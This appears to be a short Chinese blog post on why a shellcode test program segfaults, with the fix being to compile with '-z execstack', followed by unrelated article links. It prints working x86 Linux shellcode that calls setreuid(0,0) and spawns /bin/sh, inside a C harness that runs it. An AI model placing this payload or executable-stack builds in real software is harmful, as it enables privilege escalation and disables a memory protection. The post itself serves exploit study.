测试shellcode时出现segmentation fault错误的解决方法
2018-01-05 22:53
429 查看
测试shellcode时出现segmentation fault错误的解决方法
shellcode测试代码
char sc[]= "\x31\xc0" "\xb0\x46" "\x31\xdb" "\x31\xc9" "\xcd\x80" "\x31\xc0" "\x50" "\x68\x2f\x2f\x73\x68" "\x68\x2f\x62\x69\x6e" "\x89\xe3" "\x50" "\x53" "\x89\xe1" "\x31\xd2" "\xb0\x0b" "\xcd\x80"; void main() { void (*fp)(); fp=(void *)sc; fp(); }
使用gcc -m32 -o sc2 sc2.c编译后,执行出错“segmentation fault (core dumped) ./sc2”,原因是没有指明可执行栈,解决方法是在gcc参数中加“-z execstack”。
相关文章推荐
- 已解决:好用的集成PHP环境 一键安装包PHPNow--Win7下安装phpnow的方法出现[ Apache_pn ] 错误的解决 !(亲自测试通过)
- 已解决:好用的集成PHP环境 一键安装包PHPNow--Win7下安装phpnow的方法出现[ Apache_pn ] 错误的解决 !(亲自测试通过)
- nginx使用ab做压力测试,出现apr_socket_recv: Connection refused错误的解决方法
- 在原有VS2005基础上安2008测试版本2以后出现:配置节错误:web.config/protocols 解决方法。
- VS2010 OPNECV2.4 安装后出现devenv.exe错误提示——解决方法。
- 在执行shell脚本时,出现“syntax error : unexpected end of file"错误的解决方法
- VS2010+OpenCV 2.3.0出现“程序无法启动(0xc000000d)”错误的解决方法
- C# 用数据库读取Excel出现“定义了过多字段”错误的解决方法
- 出现 Exception sending context initialized event to listener instance of class XXX 错误的原因及解决方法
- NDK程序在虚拟机上运行出现signal 4 (SIGILL), fault addr 错误的原因及解决方法
- MySql系列:中文写入数据库出现错误java.sql.SQLException: Incorrect string value: '\xE5\xxxx' for column 'xxxx' at row 1及其解决方法
- 使用VS2010或低版本连接 Team Foundation Serive出现tf31002错误的解决方法
- 在android 中导入项目后 包出现错误的解决方法
- Magento运行出现错误的解决方法
- Access超过三个表进行内连接、左连接或右连接时出现操作符丢失或form子句错误的解决方法
- SQL点滴7—使用SQL Server的attach功能出现错误及解决方法
- Google 输入法登录出现“网络错误”解决方法!
- asp.net程序编译调试时偶尔出现访问被拒绝的错误的解决方法
- 登入Tomcat Manager时出现401错误——解决方法
- ruby环境sass编译中文出现Syntax error: Invalid GBK character错误解决方法